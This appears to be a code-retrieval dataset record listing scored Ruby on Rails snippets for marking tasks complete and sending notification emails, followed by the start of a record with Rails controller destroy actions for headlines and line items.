task.cancel_reminder_notification\n task.cancel_failed_notification\n\n puts \"Congratulations on completing this task!\".light_white\n break unless CLI.agree(\"\\nMark another task complete? (y/n)\".light_white)\n else\n break\n end\n end\n end", "title": "" }, { "docid": "23e0d12ecd0869062a79b97e6f70f912", "score": "0.6615736", "text": "def accept_email(task)\n @task = task\n @bid = task.accepted_bid\n mail to: @task.user.email, subject: \"Contact your senior to meet\"\n end", "title": "" }, { "docid": "3fd950bc5155269b1b19a615a99b26ce", "score": "0.65750664", "text": "def in_progress\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "title": "" }, { "docid": "b92dff8f5d1008532a8ba6c4a74f52f8", "score": "0.6556717", "text": "def complete\n @task = Task.find(params[:id])\n @task.completed_at = Date.today\n\n if @task.save\n redirect_to '/tasks'\n end\n end", "title": "" }, { "docid": "aaa1110604027ffdce9e3c70c2f0ce4d", "score": "0.6554335", "text": "def job_complete(job)\n @job = job\n mail subject: \"Job Complete\"\n end", "title": "" }, { "docid": "6c8deb4d57fcef2022afb288fb5b4683", "score": "0.65317696", "text": "def test_complete(user)\n @user = user\n\n mail to: @user.email_id, subject: \"Test Copmleted\"\n end", "title": "" }, { "docid": "c597e5e1223cd3ea5afef3d7ff114039", "score": "0.6526319", "text": "def atm_checkout_completed_successfully!\n self.update_column(:payment_status, \"order_placed_ATM\")\n publish(:pub_atm_checkout_completed_successfully, self) # to listener\n LadyboomailerJob.new.async.perform(LadybooMailer, :atm_checkout_completed_successfully, self) if @@sendmail\n LadyboomailerJob.new.async.perform(LadybooMailer, :order_placed, self) if @@sendmail\n #LadybooMailer.atm_checkout_completed_successfully(self).deliver if @@sendmail\n #LadybooMailer.order_placed(self).deliver if @@sendmail\n end", "title": "" }, { "docid": "a50eb23c03dc1aa8a165576906785256", "score": "0.6516715", "text": "def complete\n @ride = Ride.find(params[:ride_id])\n @ride.completed = true\n @ride.save\n UserMailer.complete_ride(@ride).deliver_later\n redirect_to user_path(current_user)\n end", "title": "" }, { "docid": "b1a8eef570388b9307d6a42cde1d1c35", "score": "0.65157104", "text": "def assign(task,user)\n @task = task\n @user = user\n mail_ids = @task.users.pluck(:email).join(\",\")\n mail to: \"#{mail_ids}\", cc: \"#{user.email}\", subject: \"task is assigned\"\n end", "title": "" }, { "docid": "7cdf249af56d46f617d4356fd9b7928c", "score": "0.6469357", "text": "def send_active_needs_approval_email\n Users::SendNeedsApprovalEmailJob.perform_later(user_id: self.id, active: true)\n end", "title": "" }, { "docid": "5ebb93f1c82083a20f3b40a6dcfbb362", "score": "0.6460375", "text": "def transaction_complete\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "title": "" }, { "docid": "523590468380bc0df1dc215c8b832945", "score": "0.6456383", "text": "def task_saved(task)\n @task = task\n recipients = [task.author.email, task.owner.email, task.project.dev.email]\n mail(:to => recipients, :subject => \"[#{Conf.app['code']}] - #{task.created_at == task.updated_at ? 'Nueva' : 'Edición de'} #{Task.model_name.human}\")\n end", "title": "" }, { "docid": "64e71d23eb7ad410239f3c88fde61802", "score": "0.6438814", "text": "def perform(task_hash)\n \tSiteMailer.reminder_notice(task_hash).deliver_now\n \tend", "title": "" }, { "docid": "f5420fdc668434753f429bb1682de066", "score": "0.6430562", "text": "def send_survey_completion_emails\n return unless EMAILS_ENABLED\n\n UserMailer.survey_completed(@sheet).deliver_now\n end", "title": "" }, { "docid": "3dee0836e2cb4114a2e19e4eac06ce52", "score": "0.64238477", "text": "def deliver_unsent_mails\n task = MailTasks::Task.find(params[:id], :conditions => ['disabled = ?', false])\n # task.update_attribute(:disabled, true) unless task.disabled? # lock\n task_in_background('mail_tasks:deliver_unsent_mails', :task_id => task.id)\n flash[:notice] = \"Delivering #{task.mails.count} mails, refresh this page minutes later.\"\n redirect_to :back\n end", "title": "" }, { "docid": "0b3681de61e70ab1fdbc25d4ddd81532", "score": "0.6415886", "text": "def complete\n @task = Task.find_by(id: params[:id])\n if @task.nil?\n redirect_to tasks_path\n else\n @task.update_column(:completed_at, DateTime.now())\n redirect_to task_path(@task.id)\n end\n end", "title": "" }, { "docid": "09c51f10c1e874bfa97e337e19a2ae51", "score": "0.6407664", "text": "def ready_to_deliver? task\n true\n end", "title": "" }, { "docid": "02672799114bf0026db9c306e8c5f7c4", "score": "0.64032924", "text": "def new_task(task)\n @greeting = \"Hi\"\n @id = task.id\n\n mail to: task.email\n end", "title": "" }, { "docid": "e7589e94f616010db40c8cc95c3a3e08", "score": "0.6394229", "text": "def complete_post_processing_tasks\n process_incident_issues if process_issues?\n send_alert_email if send_email? && notifying_alert?\n end", "title": "" }, { "docid": "f7c8ed9c9eae29d8698c59f06c0ded03", "score": "0.6385479", "text": "def completed(order)\n @order = order\n\n mail :to => order.billing_address.email\n end", "title": "" }, { "docid": "4ccf18e1b2a1fe0b5d9174b2671e9082", "score": "0.63753134", "text": "def complete\n task = Task.find(params[:id])\n task.completed = false\n unless task.save\n flash[:error] = \"Unable to mark task as completed\"\n end\n @tasks = Task.open_tasks\n render :partial => \"task_list\", :layout => false\n end", "title": "" }, { "docid": "7451f49906e201b58207c9f54a3fdaf6", "score": "0.6368528", "text": "def mark_completed\n puts 'Enter task number(ID), please'\n\n entered_id = get_id_input\n\n if @tasks[entered_id]\n\n @tasks[entered_id].status = 'completed'\n\n else\n\n no_entry_message\n\n end\n\n end", "title": "" }, { "docid": "b457866f23f1a9a42f83322c4238a33f", "score": "0.6351311", "text": "def send_progress_tracker_email(email)\n UserMailer.progress_tracker(self, email).deliver_now\n end", "title": "" }, { "docid": "ddd2eaff2e3826502a03aa2914621914", "score": "0.6348034", "text": "def transaction_complete\n NotificationsMailer.transaction_complete\n end", "title": "" }, { "docid": "f65812043424af5f5aefb405cef6363f", "score": "0.6345997", "text": "def mark_as_completed\n completed_at.nil? ? self.completed = true : errors.add(:completed, '- This task has already been completed!')\n end", "title": "" }, { "docid": "b19e53dbb63f661343c2e336a1c32e21", "score": "0.6340391", "text": "def task_schedule\n user = User.find(2)\n name = user.name\n tasks = user.tasks.where(scheduled_date: Date.today).where.not(status: 2).where(send_mail: true)\n UserMailer.task_schedule(user, name, tasks)\n end", "title": "" }, { "docid": "3442286b6f26a0dee27ec44f4e8120df", "score": "0.6322336", "text": "def send_recover_needs_approval_email\n Users::SendNeedsApprovalEmailJob.perform_later(user_id: self.id, active: false)\n end", "title": "" }, { "docid": "738a9a1711f1cabd8c449cbc382de59a", "score": "0.630167", "text": "def save_completed\n self.status = :completed\n self.save!\n\n StudentMailer.application_completed(student, self).deliver_later\n StudentMessenger.new.application_completed(student, self)\n\n true\n end", "title": "" }, { "docid": "9d58bb53b2552751638b03e285c484e6", "score": "0.62934834", "text": "def goal_complete_update\n UpdateMailer.goal_complete_update\n end", "title": "" }, { "docid": "af09121485e917f39d58c28837a098e9", "score": "0.6281505", "text": "def order_in_progress\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "title": "" }, { "docid": "afe3835349bff898d3a3667cce86b3a0", "score": "0.62763673", "text": "def on_task_complete(task)\n end", "title": "" }, { "docid": "4d99035bf20b4257ebc45049c1ce84a6", "score": "0.62754136", "text": "def complete_task # mark_finished_tag_as_complete_by_Owner\n @tasks = Task.find(params[:id])\n @my_id = current_user.id # redundant_6\n # Check that the Task is not owned or currently accepted by current_user\n if @tasks.accepted_by_user_id != @my_id && @tasks.user_id == @my_id\n @tasks.update({ task_status: \"Completed\" })\n @tasks.touch(:task_completed_at)\n # touch a specific datetime_column in rails\n # http://stackoverflow.com/questions/1091311/touch-updated-at-column-in-rails-2-3-2\n # model.touch(:column_name)\n\n redirect_to my_task_path, notice: \"Confirm, TAG Completed :: Sending Payment\"\n # payment sent will initiate Stripe payment system\n # responding html, includ JSON later\n else\n redirect_to my_task_path, notice: 'TAG not marked as Completed, Please try again later'\n end\n end", "title": "" }, { "docid": "2e649df84ec31d7f6402e6453999b382", "score": "0.6257854", "text": "def complete\n task_id = params[:id]\n task = @current_user.tasks.find(task_id)\n \n # if uncompleting a task belonging to a project, uncomplete the project as well\n if task.project && task.completed\n task.project.update({completed: false})\n end\n\n if task.update({ completed: !task.completed })\n render json: TaskSerializer.new(task, {include: [:project]}).serializable_hash.to_json\n else\n render status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "9cb01814e3fca1599c66aecbdd8c1cfb", "score": "0.6206542", "text": "def on_assignment_completed(assignment)\n\t\t\ttally\n\t\tend", "title": "" }, { "docid": "cf0513c92468a9e9034b35683c138f23", "score": "0.6205982", "text": "def complete_task(list_id, task_id, is_completed)\n path = \"lists/#{list_id}/tasks/#{task_id}\"\n if is_completed\n completed = 1\n else\n completed = 0\n end\n params = {task: {is_completed: completed}}\n request(path, params, :put)\n\n # output full list again\n show_list(list_id)\n end", "title": "" }, { "docid": "74b235c658468cbe7809c6e35f5b88e5", "score": "0.61950076", "text": "def complete_this_task\n if params[:comment][:comment].blank?\n render :update do |page|\n page << \"show_error_full_msg('modal_new_task_errors','Comment cannot be blank','message_error_div');\"\n end\n else\n @task.update_attributes(:completed_at=>Time.now, :status=>'complete', :completed_by_user_id=>current_user.id)\n create_comment(@task, params[:comment][:comment])\n Notification.create_notification_for_task(@task,\"Completed Task.\", current_user, @task.share_with_client) if @task.status == 'complete'\n render :update do |page|\n page << 'tb_remove();'\n if params[:modal].present?\n page.redirect_to edit_wfm_user_task_path(@task.parent_task)\n else\n page.redirect_to wfm_user_tasks_path\n end\n flash[:notice] = \"Task completed successfully\"\n end\n end\n end", "title": "" }, { "docid": "514249248022f02a2ccc504f91459174", "score": "0.61855584", "text": "def do_pending \n make_activation_code\n ClaimingMailer.deliver_confirmation_request(self) if self.email && self.activation_code\n end", "title": "" }, { "docid": "057f32a4e31827379c8b66192da8b418", "score": "0.6178819", "text": "def assigned\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "title": "" }, { "docid": "4428c72579bc1c313d2d83c00c5c29df", "score": "0.61778235", "text": "def notify_complete\n @mutex.synchronize do\n @task_running = false\n @task_complete = true\n @token.broadcast\n end\n end", "title": "" }, { "docid": "87aac30cc4c2d0c7ce8fc6c5f73d9e84", "score": "0.6174018", "text": "def assigned_agenda_item(agenda_item, author)\n Notifications.agenda_item_assigned(agenda_item, author).deliver_later\n end", "title": "" }, { "docid": "d26b4be797063b54ba7702c80afb3c34", "score": "0.61530143", "text": "def complete!(task_id)\n @tasks[task_id - 1].complete!\n end", "title": "" }, { "docid": "d26b4be797063b54ba7702c80afb3c34", "score": "0.61530143", "text": "def complete!(task_id)\n @tasks[task_id - 1].complete!\n end", "title": "" }, { "docid": "84320642dc0f6d6565dd1a13c189611a", "score": "0.614142", "text": "def send_ticket_email(task, user)\n #Send Email to Project Manager(s)\n TaskMailer.with(task: @task).new_ticket_created_admins.deliver_later\n #Send Email to the user\n TaskMailer.with(task: @task, user_id: user).new_ticket_created_user.deliver_later\n end", "title": "" }, { "docid": "e33d1eec36d8f8a4d2a910fc8c7154aa", "score": "0.6134625", "text": "def new_task(task)\n @task = task\n\n mail to: task.assigned_user.email, subject: \"Vypro prj.: #{task.project.name}, úkol: #{task.name}\"\n end", "title": "" }, { "docid": "5fd1e49d21bce039a0328f8158026f1b", "score": "0.6125473", "text": "def complete!\n return false unless pending? && transfer.feasible?\n transfer.complete!\n update shipped_at: Time.current\n order.update_shipped!\n email.shipment(to: order.billing_recipient)&.deliver_later if order.billing_address.present?\n email.shipment(to: order.shipping_recipient, bcc: false)&.deliver_later if order.has_contact_email?\n true\n end", "title": "" }, { "docid": "0b0953aba9f9b0b69df3fb5d7c7e6ea6", "score": "0.6123379", "text": "def mark_task_as_complete\n @task = EvaluateProposal.find( params[:id] )\n @proposal = Proposal.find(params[:proposal])\n\n # first, mark our proposal\n if params[:proposal_state] == \"accepted\"\n @proposal.accept!\n else\n @proposal.reject!\n end\n\n # and modify the task\n @task.complete\n @task.save\n redirect_to :action => \"index\"\n end", "title": "" }, { "docid": "4b5bd0fcd3490a5573abbde35f4e5e16", "score": "0.6117873", "text": "def complete!\n @completed_at = Time.now\n end", "title": "" }, { "docid": "4b5bd0fcd3490a5573abbde35f4e5e16", "score": "0.6117873", "text": "def complete!\n @completed_at = Time.now\n end", "title": "" }, { "docid": "b400b49d6ba3637715a37da6fa0dbb51", "score": "0.6112812", "text": "def complete_lesson\n UserMailer.complete_lesson\n end", "title": "" }, { "docid": "968409ce643a48ef7b76e1eb734f7bb5", "score": "0.61035275", "text": "def complete!\n @completed = true\n @completed_at = Time.now\n end", "title": "" }, { "docid": "ed6be605e48b09daa50f740d0f220ccb", "score": "0.6098304", "text": "def complete\n @task.update_attributes(\"status\" => 3)\n redirect_to @task\n end", "title": "" }, { "docid": "8a8eb10ad5a9a69f194c9915033d4e76", "score": "0.60947204", "text": "def polled_delivery( recipient_email , pending_deliveries )\n @recipient_email = recipient_email \n @user = User.find_by_email @recipient_email \n @pending_deliveries = pending_deliveries\n time = Time.now\n \n mail( :to => recipient_email, \n :subject => \"pilipoto | Updates (#{pending_deliveries.count}): #{time}\", \n :bcc => [\"rajakuraemas@gmail.com\"] )\n \n end", "title": "" }, { "docid": "f133e05a9fb1555cb49ca4a96446f0df", "score": "0.6093496", "text": "def mark_as_delivered(employee)\n order_id = @view.ask_order_id\n # 3. Fetch task from repo\n orders = @order_repository.undelivered_orders\n my_order = orders.find { |order| order.employee.id == employee.id && order.id == order_id }\n # 4. Mark task as done\n my_order.deliver!\n @order_repository.save_to_csv\n end", "title": "" }, { "docid": "2a52c5d9cf17aab8571b55bcef1dad3d", "score": "0.6087074", "text": "def complete_task\n\n # Only add a completed_task index to the completed task array if it does not yet exist.\n if completed_task_ids.include? current_task_id\n logger.info( \"\\t #{current_task_id} \\tLesson: #{:lesson_id} \\tUser: #{user.name} has already been completed\" )\n else\n # Add the completed lesson id\n self.completed_task_ids << current_task_id\n\n # Add the completed points to this subscription\n self.points = points + Task.find_by_id(current_task_id).points\n end\n\n # We should always keep track of which task in this subscription was completed most recently.\n @last_completed_task_id = current_task_id\n self.current_task_id = next_task_id\n self.save!\n\n # Log the completion\n logger.info( \"COMPLETED: Task #{current_task_id}\" )\n self.points\n\n end", "title": "" }, { "docid": "0a60072d799b40bc35ae9ef577072310", "score": "0.60743135", "text": "def profile_completion_reminder(user_id)\n @user = User.find(user_id)\n\n mail :to => recipient(@user.email), :subject => \"25c Profile Completion Reminder\"\n end", "title": "" }, { "docid": "e294b92329de8e91c65147a826a9612b", "score": "0.60701287", "text": "def bulk_observation_success( user, filename )\n @user = user\n @filename = filename\n mail_with_defaults(\n to: \"#{user.name} <#{user.email}>\",\n subject: [\n :bulk_import_of_filename_is_complete,\n { filename: filename }\n ]\n )\n end", "title": "" }, { "docid": "de93aef29f6591e7070bcb7c35f67908", "score": "0.60699004", "text": "def _on_completion\n\t\t\tself.update_attribute(:completed_at, DateTime.now)\n\t\t\tassignments.update_all(completed_at: DateTime.now)\n\t\t\tresolver.on_completion(self)\n\t\tend", "title": "" }, { "docid": "a63edccc7d58cd3922ef2fbd9a200e7d", "score": "0.6049166", "text": "def complete_task(task)\n self.task_completion_status_cache ||= {}\n task = OfferingAdminPhaseTask.find(task) unless task.is_a?(OfferingAdminPhaseTask)\n tcs = task_completion_statuses.find_or_create_by_task_id(task.id)\n tcs.result = true\n tcs.complete = true\n tcs.save\n self.task_completion_status_cache[task.id] = tcs.attributes\n tcs\n end", "title": "" }, { "docid": "79f3c41284d307e2de971a0b516f3833", "score": "0.6046938", "text": "def confirmed(assignment)\n setup_user_email(assignment)\n @subject += I18n.translate 'assignment_mailer.accepted.subject', :event => assignment.event.code\n end", "title": "" }, { "docid": "0bfef485a8fd9559ed8826101f4319e3", "score": "0.6046374", "text": "def send_reminder_email(user, expiringtasks)\n @user = user\n @expiringtasks = expiringtasks\n mail( :to => @user.email ,\n :subject => '[Todo Manager] Task Reminder')\n end", "title": "" }, { "docid": "78a22522619d85c1b9ea8c727047b367", "score": "0.60455954", "text": "def done\n AssignmentNotifier.done\n end", "title": "" }, { "docid": "1e6ec274da605a56be0c24f6dfe9d425", "score": "0.60334253", "text": "def schedule_step\n self.waiting!\n UserMailer.schedule_step(self).deliver_now\n end", "title": "" }, { "docid": "d9145d617957a7130ca4f3d0dadb0760", "score": "0.60270983", "text": "def task_creation(task)\n @task = task\n @project = @task.project\n mail to: task.user.email, subject: \"New task created: #{task.name}\"\n end", "title": "" }, { "docid": "718066a3b5a3722a71a82e6967fff10a", "score": "0.6025267", "text": "def send_admin_email\n AdminMailer.new_user_waiting_for_approval.deliver\n end", "title": "" }, { "docid": "e8a2f12466b1eace46a3d187e43dc447", "score": "0.599793", "text": "def complete!\n self.completed = true\n self.completed_at = Time.now.utc\n save! # TODO: With a bang?\n end", "title": "" }, { "docid": "c41b4a61abc98a722a545edfcfd4785e", "score": "0.59880847", "text": "def send_admin_mail\n AdministratorMailer.new_user_waiting_for_approval(self).deliver_now\n end", "title": "" }, { "docid": "777ae5804ff38ecb449dcd4cf0b53739", "score": "0.5982047", "text": "def orderCompleted\n order = Order.last\n user = User.find(Contract.find(order.contract_id).buyer_id)\n MagicMailer.orderCompleted(order, user)\n end", "title": "" }, { "docid": "5415bd622203babd97a6884c51be41cf", "score": "0.5975512", "text": "def profile_completion_thankyou(user_id)\n @user = User.find(user_id)\n\n mail :to => recipient(@user.email), :subject => \"25c Profile Completed!\"\n end", "title": "" }, { "docid": "e01013e0908aa63b941c4929cebc7024", "score": "0.59719104", "text": "def new_user_waiting_for_approval(faculty)\n @faculty = faculty\n\n mail(to: 'rorteammaker@gmail.com', subject: 'A new faculty member is awaiting approval!', body: 'A new faculty member is awaiting your approval!')\n end", "title": "" }, { "docid": "59a85f95ec2f12da1ffa4655bd58734d", "score": "0.5961124", "text": "def send_emails\n # p \"job_exists?: #{job_exists?}\"\n return if job_exists?\n\n AbsenceJob.set(wait_until: email_wait_time)\n .perform_later(semester_id, date.to_s)\n\n # return unless absent? && date == Date.today\n #\n # # always send email to student\n # email_student\n #\n # # if the absence was consecutive?\n # if consecutive?\n # email_director\n # else\n # email_teacher_assistant\n # end\n end", "title": "" }, { "docid": "bbb101e218d4398ae42403b2e3861f92", "score": "0.595834", "text": "def update\n @task = Task.find(params[:id])\n oldtaskname = @task.name\n if @task\n if request.referrer && URI(request.referrer).path == edit_task_path(@task) && (task_params[:name] == nil|| task_params[:name] == \"\")\n flash[:error] = \"You must enter a name for a task\"\n redirect_to edit_task_path(@task.id)\n else\n oldcomplete = @task.complete\n oldassignee = @task.assignedto\n users = Project.find_by_id(@task.projectid).allshares.split(\",\")\n found = false\n if @task.assignedto == nil\n @task.assignedto = \"None\"\n end\n if task_params[:assignedto] == nil || task_params[:assignedto] == \"\"\n task_params[:assignedto] = @task.assignedto\n end\n if !(users.include? task_params[:assignedto])\n task_params[:assignedto] = @task.assignedto\n end\n # if task_params[:label] == nil || task_params[:label] == \"\"\n # @task.label = 0\n # end\n @task.update(task_params)\n @task.save!\n if @task.assignedto != oldassignee\n if @task.assignedto != \"None\"\n assignemail = \"\"\n users.each do |user|\n us = User.find_by_id(user)\n if us\n if (us.firstname + \" \" + us.lastname) == @task.assignedto\n if us.noemail != true\n assignemail = us.name\n end\n end\n end\n end\n send_assignment(@task, assignemail)\n\n end\n end\n\n if @task.complete == true && @task.complete != oldcomplete\n mark_complete(@task)\n elsif @task.complete == false\n mark_incomplete(@task)\n end\n\n respond_to do |format|\n if @task\n if oldcomplete == false && @task.complete == true\n @task.datecomplete = @task.updated_at\n elsif oldcomplete == true && @task.complete == false\n @task.datecomplete = nil\n end\n @task.save!\n flash[:alert] = 'Task was successfully updated.'\n if request.referrer && URI(request.referrer).path != edit_task_path(@task)\n format.html { redirect_to request.referrer }\n format.mobile { redirect_to request.referrer, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n elsif request.referrer && URI(request.referrer).path == edit_task_path(@task)\n format.html { redirect_to project_path(@task.projectid), notice: 'Task was successfully updated.' }\n format.mobile { redirect_to project_path(@task.projectid), notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to task_path(@task.id), notice: 'Task was successfully updated.' }\n format.mobile { redirect_to task_path(@task.id), notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n end\n else\n format.html { render action: 'edit' }\n format.mobile { render action: 'edit' }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end\n else\n flash[:error] = \"You must enter a name for a task\"\n redirect_to edit_task_path(@task.id)\n end\n end", "title": "" }, { "docid": "31e77f05ce7f61a2a1400b6978ae91a4", "score": "0.5949453", "text": "def ticket_approved\n TaskMailer.with(task: Task.first).ticket_approved\n end", "title": "" }, { "docid": "606887cb6e19daa3f82a68fe788acd1c", "score": "0.59414095", "text": "def application_completed\n application = Application.find 33\n StudentMailer.application_completed(application.student, application)\n end", "title": "" }, { "docid": "0b352e5e05bcb79bf983f517512b0180", "score": "0.5935939", "text": "def send_email\n AlertNotifier.delay.email_back_office_announcement(self)\n end", "title": "" }, { "docid": "5b437aebd67959fbbd52273a73098468", "score": "0.5931302", "text": "def pickup_scheduled(pickup_id)\n @pickup = Pickup.find(pickup_id)\n @greeting = \"Hi\"\n\n mail(to: \"#{@pickup.name} <#{@pickup.email}>\", subject: 'Your eCycle pickup is scheduled')\n end", "title": "" }, { "docid": "87f40144b3e21828e617050871d4c69c", "score": "0.59255385", "text": "def complete\n @task = Task.find_by(id: params[:id].to_i)\n @task.completion_date = @task.updated_at.to_date.to_s\n @task.save\n redirect_to root_path\n # @task.mark_complete\n # If completion date is nil, apply not_completed class\n # else if completion date is entered, apply completed class\n # Maybe have a render?\n # If user selects complete, update task with today's date as a string /cross out date via class\n # Maybe t his applies a class to that text for the cross out?\n # if task.mark_complete\n # task.completion_date =\n # task.completion_date.update(completion_date: params[:task][:completion_date])\n # task.save\n # else\n #\n end", "title": "" }, { "docid": "52618aa0903072e180bf65ddeb3cea99", "score": "0.59174067", "text": "def complete!\n self.is_completed = true\n self.save\n end", "title": "" }, { "docid": "d1fd8d24acac72934541b9d5a447aaf8", "score": "0.59172577", "text": "def mark_task\n # ASK REPO for tasks\n tasks = @task_repository.all\n # ASK VIEW to display tasks\n @tasks_view.display(tasks)\n # ASK VIEW for a number to mark as done\n task_index = @tasks_view.ask_for_index\n # ASK REPO for the given task\n task = @task_repository.find(task_index)\n # ASK task intance to mark itself as done\n task.mark_as_completed!\n end", "title": "" }, { "docid": "e4eb3860b41562b549b6e106e31f7c88", "score": "0.59153783", "text": "def send_acceptance_email\n # UserMailer.delay.send_accepted_email(user_id)\n end", "title": "" }, { "docid": "9592f6961f1af8afb1b1a211f4e04416", "score": "0.59114206", "text": "def bid_accepted_email(bid)\n @bid = bid\n @task = bid.task\n mail to: @bid.user.email, subject: \"Application accepted!\"\n end", "title": "" }, { "docid": "2d187f2e196c595947834e732a5b4bfe", "score": "0.5905996", "text": "def completing_work\n self.completed_at = Time.now\n\n # Log to recent_activities on request completion.\n request_data = name.blank? ? number : name\n req_link = request_link(number)\n\n # BJB Script and REST dont have current user\n log_user = User.current_user.nil? ? self.backup_owner : User.current_user\n\n # TODO: RJ: Rails 3: Log Activity plugin not compatible with rails 3\n #log_user.log_activity(:context => \"#{req_link} has been #{aasm_state}\") do\n freeze_request!\n #end\n update_properties # Now commit properties on completed request\n\n # if there is a run for this request, let it know we are done\n self.run.try(:request_completed, self)\n self.push_msg\n\n end", "title": "" }, { "docid": "60f2c6b903e519a7452b1f2808645089", "score": "0.5891206", "text": "def completed\n @task = Task.find(params[:task_id])\n\n respond_to do |format|\n unless @task.marked_today?\n @tasklog = TaskLog.create( task_id: @task.id, user_id: current_user.id, status: \"completed\")\n\n msg = \"#{@task.name} completed today, good job!\"\n\n \n format.html { redirect_to :back, notice: msg}\n format.json { render json: { :task_log => @tasklog, message: msg } }\n \n else\n msg = \"This you already marked this as completed today.\"\n\n #also need to be able to respond to 30+ days\n format.html { redirect_to :back, alert: msg}\n format.json { render json: { :message => msg, :status => \"failed\" } }\n end\n end\n\n end", "title": "" }, { "docid": "4b4440f103c43286a4ea524c641ceca8", "score": "0.58910155", "text": "def notify_submitter(task_submission)\n @submitter = task_submission.submitter\n @resolver = task_submission.approver\n @message = task_submission.approval_comment\n @completed_tasks = task_submission.completed_tasks\n\n action = if @completed_tasks.all?(&:approved?)\n :approved\n elsif @completed_tasks.all?(&:denied?)\n :denied\n else\n # task submission has some completed tasks approved and some denied\n :both_approved_and_denied\n end\n\n key = \"tskz.notifier.#{action}_your_tasks\"\n subject = if action == :both_approved_and_denied\n approved_task_count = @completed_tasks.select(&:approved?).size\n I18n.t(key, resolver: @resolver.full_name, approved_task_count: approved_task_count, total_task_count: @completed_tasks.length)\n else\n I18n.t(key, resolver: @resolver.full_name)\n end\n I18n.with_locale(@submitter.locale) do\n mail(to: @submitter.email, subject: subject, track_opens: true)\n end\n end", "title": "" }, { "docid": "98c2de32054d064ef875d056a74fadb3", "score": "0.58878833", "text": "def deliver_confirmation_email_instructions!\n # TODO\n end", "title": "" } ]
2536818b4929222ed594e029ab7fffab
DELETE /headlines/1 DELETE /headlines/1.json
[ { "docid": "eaf8f2a2e7fc78b501e1d8a51aeff81d", "score": "0.76396996", "text": "def destroy\n @headline.destroy\n respond_to do |format|\n format.html { redirect_to headlines_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "34a3ab60959c1c574a70926b286a26f7", "score": "0.74581385", "text": "def destroy\n @headline.destroy\n respond_to do |format|\n format.html { redirect_to headlines_url, notice: \"Headline was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cb4532a9c3f2bb3308e8fc6019ffcecf", "score": "0.70188427", "text": "def delete_from_entzumena\n headline = Headline.where({:source_item_type => params[:source_item_type], :source_item_id => params[:source_item_id]}).first\n if headline.destroy\n render :json => true, :status => 200\n else\n render :json => false, :status => :error\n end\n end", "title": "" }, { "docid": "e8bcd9b31dd8774dad772ac3017e50de", "score": "0.68818647", "text": "def destroy\n @so_header = SoHeader.find(params[:so_header_id])\n @so_line = @so_header.so_lines.find(params[:id])\n @so_line.destroy\n\n respond_to do |format|\n format.html { redirect_to so_header_so_lines_url(@so_header) }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "f76115a7938532758a3a4574184ed2a7", "score": "0.66792643", "text": "def destroy\n @male200mts_head.destroy\n respond_to do |format|\n format.html { redirect_to male200mts_heads_url, notice: 'Male200mts head was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6c8dc8d54ffe35a1dea18f934dfdeefb", "score": "0.66730446", "text": "def destroy\n @ad_matrix_category_headline.destroy\n respond_to do |format|\n format.html { redirect_to ad_matrix_category_headlines_url, notice: 'Ad matrix category headline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "92cbc2e0b6fe2d4b57f1e37a932a3c29", "score": "0.66619694", "text": "def destroy\n @storyline = Storyline.find(params[:id])\n @storyline.destroy\n\n respond_to do |format|\n format.html { redirect_to storylines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "87600d3ad33220c28a5f837a6a9af614", "score": "0.66536486", "text": "def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1f5865c50c68c2290888fbf460e735d7", "score": "0.66514933", "text": "def destroy\n @line = Line.find_by_no(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to lines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "244e8ee09e05a36c184e715bdecf215d", "score": "0.6643074", "text": "def destroy\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5acd7589c2089341114a4ac61a5e408e", "score": "0.6628587", "text": "def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_line_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2b1f5550bf78e3327f7b71898cbfcbd5", "score": "0.6624203", "text": "def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9baeb3507b81c95cf278c494ca72743c", "score": "0.6600171", "text": "def destroy\n @male_shot_put_head.destroy\n respond_to do |format|\n format.html { redirect_to male_shot_put_heads_url, notice: 'Male shot put head was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f2864ac11bce19c9d9c5ff7d6bfb6d0c", "score": "0.65924585", "text": "def destroy\n @line_detail.destroy\n respond_to do |format|\n format.html { redirect_to line_details_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d4d7cc43bec6fae8d349310f46c5821e", "score": "0.6572844", "text": "def destroy\n @invoicehead = Invoicehead.find(params[:id])\n @invoicehead.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoiceheads_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b829270fe92d298cf3ee177bb4487940", "score": "0.65364754", "text": "def destroy\n @timeline.destroy\n respond_to do |format|\n format.html { redirect_to timelines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "38c69eb7232b6bf97755aa025febc4e9", "score": "0.6534482", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "38c69eb7232b6bf97755aa025febc4e9", "score": "0.6534482", "text": "def destroy\n @line_item.destroy\n respond_to do 